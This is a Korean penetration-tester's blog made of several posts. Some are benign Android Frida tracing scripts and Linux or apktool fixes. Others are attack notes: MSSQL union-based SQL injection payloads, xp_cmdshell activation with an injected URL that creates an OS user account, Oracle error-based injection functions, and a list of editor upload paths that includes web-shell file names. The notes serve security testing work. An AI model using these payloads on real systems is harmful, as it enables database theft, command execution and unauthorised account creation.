IOS의 Snoop-It 트윗과 같이 앱실행 시, 실시간으로 실행하는 Class를 알려주는 기능이 있으면 좋겠다고 생각하던 찰나, 이미 누군가가 해당 기능을 만들어서 깃헙에 올려놨네요.


다만 받아서 실행해보면 에러가.... 그래서 올라와 있는 코드 분석하여 로직은 동일하게 수정 및 작성해봤습니다.


기존 Method Trace코드 출처는 다음과 같습니다 : https://github.com/0xdea/frida-scripts


다음은 새로 제가 작성한 코드 입니다.


import sys
import frida

def on_message(message,data):
 print "[%s] -> %s" % (message, data)

PACKAGE_NAME = sys.argv[1]

jscode = """
Java.perform(function(){
 var pattern = \""""+sys.argv[1]+"""\"
 

 Java.enumerateLoadedClasses({
  onMatch:function(aClass) {
   var pattern2 = pattern.split('.');
   var temp = pattern2[0]+"."+pattern2[1];
   if (aClass.match(temp)) {
    traceClass(aClass);
   }
  },
  onComplete: function() {}
 });
 
 function traceClass(targetClass){
  var hook = Java.use(targetClass);
  var methods = hook.class.getDeclaredMethods();
  hook.$dispose;

  var parsedMethods=[];
  methods.forEach(function(method) {

   parsedMethods.push(method.toString().replace(targetClass + ".", "TOKEN").match(/\sTOKEN(.*)\(/)[1]);
   traceMethod(targetClass+"."+method.toString().replace(targetClass + ".", "TOKEN").match(/\sTOKEN(.*)\(/)[1]);
  });
 }


 function traceMethod(targetClassMethod){

  var delim = targetClassMethod.lastIndexOf(".");
  if (delim === -1){ return;}
  var targetClass = targetClassMethod.slice(0, delim);
  var targetMethod = targetClassMethod.slice(delim + 1, targetClassMethod.length);
  
  var hook = Java.use(targetClass);
  var overloadCount = hook[targetMethod].overloads.length;

  for(var i=0;i<overloadCount;i++){
   hook[targetMethod].overloads[i].implementation=function(){

    console.log("***Entered Method is : "+targetClass+"."+targetMethod);

    var retval = this[targetMethod].apply(this, arguments);
    return retval;
   }
  }
 }

 function traceMainActivity(MainActivity){
  
  var throwable = Java.use('java.lang.Throwable');
  var Main = Java.use(MainActivity);
  Main.$init.implementation=function(a){
   throwable2 = throwable.$new();
   Stack = throwable2.getStackTrace();
   for(var i=0;i<Stack.length;i++){
    console.log(Stack[i].getClassName()+"."+getMethodName());
   }
  }
 }
});
"""
 
try:
 device = frida.get_usb_device()
 pid = device.spawn([PACKAGE_NAME])
 print("App is starting ... pid : {}".format(pid))
 process = device.attach(pid)
 device.resume(pid)
 script = process.create_script(jscode)
 script.on('message',on_message)
 print('[*] Running Frida')
 script.load()
 sys.stdin.read()
except Exception as e:
 print(e)


찬찬히 뜯어보면


 Java.enumerateLoadedClasses({
  onMatch:function(aClass) {
   var pattern2 = pattern.split('.');
   var temp = pattern2[0]+"."+pattern2[1];
   if (aClass.match(temp)) {
    traceClass(aClass);
   }
  },
  onComplete: function() {}
 });


해당 부분에서 enumerateLoadedClasses를 이용해서 로드되는 클래스를 확인 후 split함수를 이용, sys.argv[1]에 입력된 앱이름의 두번째 .(구분자)까지 맞으면 해당 Class명을 traceClass함수에 인자로 호출합니다.

ex) com.abc.1234.taesun1114라고 하면 enumerateLoadedClasses로 출력되는 함수중 com.abc가 포함된 클래스를 traceClass로 넘기게됩니다.


function traceClass(targetClass){
  var hook = Java.use(targetClass);
  var methods = hook.class.getDeclaredMethods();
  hook.$dispose;

  var parsedMethods=[];
  methods.forEach(function(method) {

   parsedMethods.push(method.toString().replace(targetClass + ".", "TOKEN").match(/\sTOKEN(.*)\(/)[1]);
   traceMethod(targetClass+"."+method.toString().replace(targetClass + ".", "TOKEN").match(/\sTOKEN(.*)\(/)[1]);
  });
 }

traceClass 함수에서는 getDeclaredMethods함수를 이용, 해당 Class에 존재하는 Method를 추출합니다.


getDeclaredMethods함수를 사용하게 되면 리턴타입 및 인자 타입등등의 내용도 출력되므로, replace함수를 이용하여 함수명까지만 추려내고 다시 traceMethod함수를 호출합니다.


 function traceMethod(targetClassMethod){

  var delim = targetClassMethod.lastIndexOf(".");
  if (delim === -1){ return;}
  var targetClass = targetClassMethod.slice(0, delim);
  var targetMethod = targetClassMethod.slice(delim + 1, targetClassMethod.length);
  
  var hook = Java.use(targetClass);
  var overloadCount = hook[targetMethod].overloads.length;

  for(var i=0;i<overloadCount;i++){
   hook[targetMethod].overloads[i].implementation=function(){

    console.log("***Entered Method is : "+targetClass+"."+targetMethod);

    var retval = this[targetMethod].apply(this, arguments);
    return retval;
   }
  }
 }

traceMetdho함수에서는 인자로 받은 Method에 각각 후킹을 걸어 어느 함수가 호출되었는지 출력 및 기존 함수를 호출합니다.


언뜻보면 되게 간단한 코드인데, 조금 비효율적이기도 하고 솔루션이 씌워진 앱의 경우 APP_NAME이 com.abc.abcd.abcde여도 kr.net.~~~~.~~~로 시작할수도 있으므로 후킹이 되지 않는 메소드도 존재합니다. 그리고 enumerateLoadedClasses를 사용하다보니 처음에 실행하는 함수는 후킹을 못하는 경우도 있어요.. 후킹이 걸리기 전에 함수가 실행되면 후킹이 되지 않습니다...


그래서 코드 실행 시 메인 함수에 후킹을 걸어 StackTrace를 해보고 싶었으나... enumerateLoadedClasses의 특성상 실패...만약 메인함수를 두세번 호출하게 된다면 후킹이 가능하겠지만 처음 실행시에는 후킹이 걸리지 않네요..ㅠ  function traceMainActivity()는 삭제하셔도 됩니다~


그래도 앱 실행 시 호출되는 흐름을 얼추 확인할 수 있으므로 진단 시 조금 더 편의가 증가하긴 한것 같네요.


※ 기존 개발자가 개발한 버전은 어떤지 모르겠으나, 제가 작성한 코드는 버그나 에러가 조금 존재해서 참고용으로 보시면 될거 같네요 ^^:


사용방법은 python [코드를저장한파일이름].py [APP_NAME]으로 실행하시면 되고, 아래는 실행화면입니다. (SDMaid라는 앱 실행화면)




※ 개발 환경 및 단말 환경 

PC : Windows10 / Python 2.7

Mobile : 갤럭시 S6 / 6.0


'Mobile' 카테고리의 다른 글

Objection(with. iOS SSL Pinning)  (0) 2019.03.11
Cydia 에러(Could not connect to the server)  (0) 2019.02.25
Android Socket 통신 확인(with.Frida)  (2) 2019.01.18
apktool first type is not attr  (0) 2018.10.04
Android Proxy Burp 인증서 설치  (2) 2018.09.15

소켓으로 통신하는 앱의 경우, 어떻게 통신을 확인해야 할지 몰라서 이참에 Frida 코드를 작성해봤습니다.


일단 소켓의 경우 통신하는 IP/PORT를 확인해야 하므로 frida-trace를 이용해서 해당 어떤 함수를 후킹해야 하는지 확인해 보도록 하겠습니다.


frida-trace -U -i socket "[APP_NAME]"을 통해 생성되는 js파일에 이전 호출한 클래스 및 메소드를 확인하는 코드를 작성하여 어떤 클래스를 호출하는지 확인합니다.


※코드는 다음 포스트에 있는 코드를 사용했습니다.

https://taesun1114.tistory.com/entry/Android에서-호출한-ClassMethod-확인하기-with-Frida?category=729990


확인결과, java.net.Socket를 후킹하여 IP/PORT를 확인하면 될듯 합니다.



https://developer.android.com/reference/java/net/Socket에서 확인한 socket함수입니다.




예시로 사용한 앱은 다음과 같습니다. 별거 없이 버튼클릭하면 소켓을 발송하는 코드입니다.



후킹할 Frida code는 다음과 같습니다.



import sys
import frida

def on_message(message,data):
 print "[%s] -> %s" % (message, data)

PACKAGE_NAME = sys.argv[1]

jscode = """
Java.perform(function(){
 var sock = Java.use('java.net.Socket');

 console.log("Try to Hooking socket...");
 sock.$init.overload('java.lang.String','int').implementation = function(a,b){
  console.log(a.toString()+ " : " +b);
 };
});
"""
 
try:
 device = frida.get_usb_device()
 pid = device.spawn([PACKAGE_NAME])
 print("App is starting ... pid : {}".format(pid))
 process = device.attach(pid)
 device.resume(pid)
 script = process.create_script(jscode)
 script.on('message',on_message)
 print('[*] Running Frida')
 script.load()
 sys.stdin.read()
except Exception as e:
 print(e)



후킹 시, IP / PORT를 정상적으로 출력하는 것을 확인할 수 있습니다.


확인하기까지 상당히 어려웠는데.. 포스팅하다보니 별거 없네요...

$init을 써주는 부분에서 삽질을 많이 했네요


추가로, send 및 recv함수에 frida-trace를 이용해서 hexdump함수를 이용해서 통신내용을 확인할 수 있습니다.


'Mobile' 카테고리의 다른 글

Cydia 에러(Could not connect to the server)  (0) 2019.02.25
Android Method Trace(With.Frida)  (2) 2019.01.29
apktool first type is not attr  (0) 2018.10.04
Android Proxy Burp 인증서 설치  (2) 2018.09.15
Uncrackable3-1  (2) 2018.06.14

에디터를 사용할 때, 설치 후 샘플페이지 및 주요취약점이 발생하는 페이지를 삭제하지 않고 사용할 경우 해당 경로를 통해 취약점이 발생합니다.


아래는 대표적으로 취약점이 발생하는 경로입니다.


CHEditor 

 /editor/popup/image.html

 /cheditor/

 /core/editor/

 /board/cheditor/

 /js/cheditor/

 /cheditor4/

 /ko/cheditor4/

 /cheditor5/

 /cheditor/example/newpost.html
 /cheditor/example/modifiy.html
 /cheditor/example/multi.html
 /cheditor/imageUpload/upload.jsp

 CKEditor

 /ckeditor/
 /ckfinder/
 /ckfinder/ckfinder.html
 ckeditor/upload.jsp
 /ckeditor/_samples/

 /ckeditor/samples/

 /ckeditor/_samples/index.html
 /ckeditor/samples/index.html
 /skins/ckeditor/

 /_sys/_plugin/cke

 Namo CrossEditor

/namo/ 
 /namo/index.html
 /namo/manage/index.html
 /crosseditor/

 /crosseditor/manager/

 /crosseditor/index.html
 /crosseditor/manage/index.html
 /crosseditor/manage/jsp/manager_setting.jsp
 /crosseditor/binary/upload/devshell.jsp
 /crosseditor/binary/upload/cmd.jspx
 /resources/crosseditor/
 /resources/crosseditor/index.html
 /resources/component/crosseditor/index.html

 DaumEditor

 /daumeditor/
 /_moduel/daumeditor/
 /daumeditor/editor.html

 dext5Editor

/DEXTUpload/ 

 /dext5/
 /dext5upload/
 /dext5upload/sample/
 /com/dext5upload/
 /dext5upload/sample/index.html
 /dext5Upload/sample/html/sample_upload.html
 /dext5editor/admin/jsp/login.jsp
 /dext5editor/admin/jsp/uploader_setting.jsp
 /samples/index.html
 /aspupload/
 /aspupload/file_upload.html

 FCKEditor

 /fck/editor/
 /FCKeditor/
 /js/fckeditor/
 /feditor/editor/fckeditor.html
 /fckeditor/editor/filemanager/browser/default/browser.html
 /fckeditor/editor/filemanager/connectors/test.html
 /fckeditor/editor/filemanager/connectors/uploadtest.html
 /editor/filemanager/browser/default/browser.html
 /editor/editor/filemanager/browser/default/browser.html
 /HtmlEditor/_samples/default.html

 SmartEditor

 /js/se2/SmartEditor2.html
 /nse/SmartEditor2.html
 /SmartEditor2.html
 /SmartEditorBasic/
 /SmartEditor2/
 /SmartEditorBasic/SEditorDemo.html
 /SEditor/popup/quick_photo/imgupload.jsp
 /smarteditor/photo_uploader/popup/file_uploader_html5.php
 /SE2/photo_uploader/popup/file_uploader_html5.php
 /smarteditor2/photo_uploader/popup/file_uploader_html5.php
 /smarteditor/popup/quick_photo/FileUploader_html5.php
 /plugin/smarteditor2/photo_uploader/popup/file_uploader_html5.php


'Web' 카테고리의 다른 글

Same site (Cookie)  (0) 2021.03.29
marquee onstart xss & XSS 기법  (0) 2019.05.10
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20

CentOs 7.x버전 설치 후 yum이나 ping을 할 경우 에러가 나타난다.


이유는 초기에 네트워크 설정이 잡혀있지 않아 그런것인데 ping명령어를 하면 connect: Network is unreachable와 같이 나타나고 yum명령어 실행시 


14: curl#6 - "Could not resolve host: mirrorlist.centos.org; Unknown error"

Loading mirror speeds from cached hostfile


다음과 같은 에러가 나타납니다.


대부분 /etc/resolv.conf 파일에 다음과 같이 DNS설정을 해주면 풀리는 경우도 있는데


cat /etc/resolv.conf

# Generated by NetworkManager

nameserver 8.8.8.8


저의 경우는 해당 방법으로도 풀리지 않았습니다.ㅠ


확인한 결과 네트워크가 아예 내려가 있으면 이런 상황이 발생한다합니다.


먼저 /etc/sysconfig/network-scripts 디렉터리로 이동 후 자신의 이더넷명을 확인합니다.



저의 경우는 ens33인것을 확인할 수 있는데요


ifup ens33명령어를 통해 네트워크를 활성화 시키고 yum명령어를 실행시키면 정상적으로 동작합니다.


'System > Linux' 카테고리의 다른 글

리눅스 네트워크 인터페이스 안잡힐때(no eth)  (0) 2019.03.11
Kali Wine32 Error  (0) 2018.04.23
Linux에서 Hex edit 쓰기  (0) 2013.03.28
리눅스 core file  (0) 2013.03.18
nohup  (0) 2013.03.18

APK TOOL을 이용해 리패키징하는 도중, 다음과 같은 에러를 볼 수 있습니다.



W: A/        ( 5036): First type is not attr!

Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 134): [/var/folders/dd/qm71z_9j6jd8yr8hfj0xj5j00000gp/T/brut_util_Jar_7912458143856853366.tmp, p, --forced-package-id, 127, --min-sdk-version, 21, --target-sdk-version, 25, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /var/folders/dd/qm71z_9j6jd8yr8hfj0xj5j00000gp/T/APKTOOL1582439934222996058.tmp, -0, arsc, -0, res/raw/joda_atlantic_jan_mayen, -0, res/raw/joda_est, -0, res/raw/joda_etc_gmt, -0, res/raw/joda_etc_gmt_1, -0, res/raw/joda_etc_gmt_10, -0, res/raw/joda_etc_gmt_11, -0, res/raw/joda_etc_gmt_12, -0, res/raw/joda_etc_gmt_13, -0, res/raw/joda_etc_gmt_14, -0, res/raw/joda_etc_gmt_2, -0, res/raw/joda_etc_gmt_3, -0, res/raw/joda_etc_gmt_4, -0, res/raw/joda_etc_gmt_5, -0, res/raw/joda_etc_gmt_6, -0, res/raw/joda_etc_gmt_7, -0, res/raw/joda_etc_gmt_8, -0, res/raw/joda_etc_gmt_9, -0, res/raw/joda_etc_gmtplus1, -0, res/raw/joda_etc_gmtplus10, -0, res/raw/joda_etc_gmtplus11, -0, res/raw/joda_etc_gmtplus12, -0, res/raw/joda_etc_gmtplus2, -0, res/raw/joda_etc_gmtplus3, -0, res/raw/joda_etc_gmtplus4, -0, res/raw/joda_etc_gmtplus5, -0, res/raw/joda_etc_gmtplus6, -0, res/raw/joda_etc_gmtplus7, -0, res/raw/joda_etc_gmtplus8, -0, res/raw/joda_etc_gmtplus9, -0, res/raw/joda_etc_uct, -0, res/raw/joda_etc_utc, -0, res/raw/joda_hst, -0, res/raw/joda_mst, -0, res/raw/joda_pacific_johnston, -0, arsc, -I, /Users/daniel/Library/apktool/framework/1.apk, -S, /Users/daniel/Downloads/app-debug/res, -M, /Users/daniel/Downloads/app-debug/AndroidManifest.xml]

at brut.androlib.Androlib.buildResourcesFull(Androlib.java:493)

at brut.androlib.Androlib.buildResources(Androlib.java:427)

at brut.androlib.Androlib.build(Androlib.java:326)

at brut.androlib.Androlib.build(Androlib.java:264)

at brut.apktool.Main.cmdBuild(Main.java:231)

at brut.apktool.Main.main(Main.java:84)


코틀린으로 작성된 앱의 경우 APKTOOL로 리패징하려고 할 경우 다음과 같은 에러를 볼 수 있다고 합니다.


현재는 다음 내용도 반영된 패치버전이 나왔는데요.


현재 최신버전(2.3.4)으로 리패키징을 시도할 경우 에러없이 정상적으로 패키징되는 것을 확인할 수 있었습니다.


'Mobile' 카테고리의 다른 글

Android Method Trace(With.Frida)  (2) 2019.01.29
Android Socket 통신 확인(with.Frida)  (2) 2019.01.18
Android Proxy Burp 인증서 설치  (2) 2018.09.15
Uncrackable3-1  (2) 2018.06.14
APK IDA로 동적디버깅  (0) 2018.02.22

xp_cmdshell이란 mssql에서 운영체제 명령을 실행할 수 있도록하는 함수입니다.


mssql DB를 사용하는 페이지에서 SQL Injection이 발생할 경우 xp_cmdshell을 이용해 cmd명령을 실행할 수 있습니다.


다음쿼리를 이용해서 xp_cmdshell이 활성화 되어 있는지 확인할 수 있습니다.


SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'

Value Column : 1 (활성화)

  0 (비활성화)


만약, xp_cmdshell이 비활성화되어 있다면 다음과 같은 쿼리를 이용해서 활성화시킬 수 있습니다.


EXEC sp_configure 'show advanced options', 1

GO


RECONFIGURE

GO


EXEC sp_configure 'xp_cmdshell', 1

GO


RECONFIGURE

GO


다시 비활성화하려면


EXEC sp_configure 'xp_cmdshell', 0

GO


RECONFIGURE

GO


EXEC sp_configure 'show advanced options', 0

GO


RECONFIGURE

GO


다음과 같이 입력해주면 됩니다.


대부분 xp_cmdshell이 가능할 경우 임의의 로컬계정을 생성하여 원격데스크탑접속을 시도하는 경우가 많으면 로컬계정을 생성하는 쿼리는 다음과 같습니다.


EXEC xp_cmdshell 'net user ID PW /add'


http://test.com?test=test';EXEC xp_cmdshell 'net user test test /add'--




'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20
Oracle Error based injection  (0) 2018.08.23

MSSQL에서 MYSQL의 limit와 같은 기능을 사용하려면 다음과 같은 구문을 사용하면 됩니다.


OFFSET (시작하고자 하는 index) ROWS FETCH NEXT (출력하고자 하는 갯수) ROWS ONLY


OFFSET ? ROWS FETCH NEXT ? ROWS ONLY 구문을 사용하기 위해서는 order by 구문과 같이 사용해야 합니다.


http://test.com?mode=list&year1=2018&mon1=09&day1=18&year2=2018&mon2=09&day2=20' and 1=2 union select 1,2,table_name,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=(select table_name from information_schema.tables order by table_name OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY)--

다음과 같이 order by절 뒤에 OFFSET구문이 들어갑니다.

'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Injection  (0) 2018.09.20
Oracle Error based injection  (0) 2018.08.23


Table 조회

and 1=2 union select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables--


Column 조회

and 1=2 union select 1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name='table'--


http://raijee1337.blogspot.com/2015/07/mssql-union-based-injection-step-by.html

'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
Oracle Error based injection  (0) 2018.08.23

Android에서 Proxy를 잡을 경우 인증서 설치를 해줘야 HTTPS통신을 확인할 수 있습니다.


일단 [Proxy] - [Options] - [Proxy Listeners] - [Import/export CA certificate] 에서 인증서를 추출하여 파일로 저장합니다.





파일로 추출한 후에는 adb를 이용해 안드로이드 단말기에 넣어주면 되는데, 경로는 어디에 하든 굳이 상관없습니다. 





안드로이드 단말기에서 [설정] - [잠금화면 및 보안] 화면에서 [기타 보안 설정]으로 들어갑니다.



디바이스에 저장된 인증서 설치 클릭



아까 넣어주었던 cacert.der 파일이 보입니다. 클릭해서 완료 하면 설치됩니다.


인증서 설치 후 burp에서 정상적으로 https통신도 확인이 가능합니다 :)




'Mobile' 카테고리의 다른 글

Android Socket 통신 확인(with.Frida)  (2) 2019.01.18
apktool first type is not attr  (0) 2018.10.04
Uncrackable3-1  (2) 2018.06.14
APK IDA로 동적디버깅  (0) 2018.02.22
welcome to droid (codegate2018)  (2) 2018.02.11

Oracle 인젝션 중, Error based injection입니다.


흔히 Oracle DB의 utl_inaddr.get_host_address함수를 이용해서 Error Based Injection공격을 수행하는데요


11g 버전부터는 관리자가 직접 ACL설정을 풀어줘야만 해당함수가 작동한다고 합니다.


조금 검색해보니 역시 utl_inaddr.get_host_address함수를 사용하지 않고 인젝션이 가능한 함수가 나오네요


출처1 : http://blog.red-database-security.com/2009/01/17/tutorial-oracle-sql-injection-in-webapps-part-i/

출처2 : http://n3015m.tistory.com/148


CTXSYS.DRITHSX.SN / ORDSYS.ORD_DICOM.GETMAPPINGXPATH 함수를 이용합니다.


select * from board where idx=43 or 1=ordsys.ord_dicom.getmappingxpath((에러 인젝션을 통해 출력하고 싶은 쿼리문),user,user);



select * from board where idx=43 or 1=ctxsys.drithsx.sn(1,(에러 인젝션을 통해 출력하고 싶은 쿼리문))--


추가적으로 Oracle에서 ACL설정을 주고자 할때는 다음 스크립트를 입력하면 됩니다:)


begin

DBMS_NETWORK_ACL_ADMIN.CREATE_ACL(

acl => 'network_services.xml',

description => 'NETWORK ACL',

principal => 'PUBLIC',

is_grant => true,

privilege => 'connect');

end;


DBMS_NETWORK_ACL_ADMIN.ADD_PRIVILEGE(

acl => 'network_services.xml',

principal => 'PUBLIC',

is_grant => true,

privilege => 'resolve');

DBMS_NETWORK_ACL_ADMIN.ASSIGN_ACL(

acl => 'network_services.xml',

host => '*');


commit;

end;

/


'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20

+ Recent posts